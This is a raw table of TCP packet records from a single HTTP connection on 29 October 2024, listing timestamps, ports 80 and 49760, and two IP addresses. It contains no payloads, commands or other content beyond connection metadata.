Oct 29, 2024 04:52:31.463289976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463335991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463360071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463397980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463444948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463459015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463486910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463512897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463555098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463571072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463593960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463622093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463664055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463677883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463704109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463733912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463787079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463824034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463855982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463893890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463893890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.463934898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.463984013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464050055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464082003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464102030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464127064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464157104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464184999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464205027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464225054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464256048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464292049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464313984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464330912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464483023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464515924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464538097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464560986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464590073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464632988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464647055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464673996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464699984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464742899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464756012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464788914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464823008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464855909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464855909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464881897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464907885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464940071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.464972019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.464992046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465018034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465066910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465190887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465236902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465250015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465276003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465301991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465334892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465358019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465382099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465409040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465455055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465467930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465497017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465616941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465650082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465668917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465691090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465718985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465735912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465754986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465761900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465769053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465780973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465790987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465806961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465826035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465832949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465842009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465853930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465862989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465877056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465897083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465903997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465914011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465920925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.465934992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.465967894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.503818989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.503846884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.503861904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.503887892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.503887892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.503931999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.503945112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.503985882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.504013062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.504034042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.578562975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578599930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578615904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578668118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.578715086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.578744888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578762054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578805923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.578834057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578850031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578892946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.578958988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578975916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.578991890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579029083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579029083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579107046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579123020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579138994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579149008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579185009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579185009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579365969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579382896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579399109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579415083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579430103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579431057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579457045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579477072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579572916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579590082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579605103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579617023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579653025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579653025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579719067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579735041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579751015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579775095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579775095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579809904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.579962015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579977989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.579993010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580008030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580008030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580024004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580030918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580030918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580038071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580063105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580063105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580082893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580260038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580281973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580303907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580322981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580322981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580329895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580346107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580346107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580362082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580365896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580385923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580404997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580578089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580594063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580610037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580626011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580630064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580630064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580666065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580666065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580740929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580782890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580857992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580873013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580888033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580904007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580910921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580910921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580920935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580931902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580938101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.580952883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580952883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.580975056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581152916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581166983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581198931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581243038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581254005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581270933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581285954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581309080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581309080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581337929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581358910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581376076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581392050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581401110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581422091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581433058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581449032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581465960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581469059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581470013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581481934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581510067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581510067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581511021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581893921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581908941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581924915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581940889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581940889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581940889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581955910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581973076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581974983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581974983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.581988096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.581994057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582020044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582020998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582200050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582216024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582231998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582253933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582253933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582274914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582278013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582294941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582309961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582325935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582339048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582339048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582339048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582343102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582372904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582372904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582637072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582653046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.582684040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.582717896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.620735884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.620762110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.620775938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.620811939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.620840073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.620876074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.664997101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.665122986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.665213108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.695605040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.695662022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.695677996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.695770979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.695770979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.695797920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.695813894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.695854902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.695925951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.695941925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.695985079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696019888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696074963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696089983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696105957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696121931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696136951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696167946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696294069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696307898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696321964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696343899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696357965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696371078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696371078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696408987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696408987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696512938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696566105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696635962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696650982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696666956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696681023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696688890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696688890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696696043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696712971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696728945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696734905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696734905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696736097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696765900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696765900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.696938038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.696993113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697052956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697068930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697084904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697101116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697103977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697104931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697115898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697125912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697133064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697149992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697153091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697153091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697169065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697173119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697191000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697210073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697488070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697542906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697772980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697787046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697794914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697810888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697825909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697832108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697832108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697849989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697865009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697876930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697876930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697880983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697899103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697906971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697916031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697927952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697933912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:31.697953939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:31.697973013 CET	49760	80	192.168.2.4	185.215.113.206
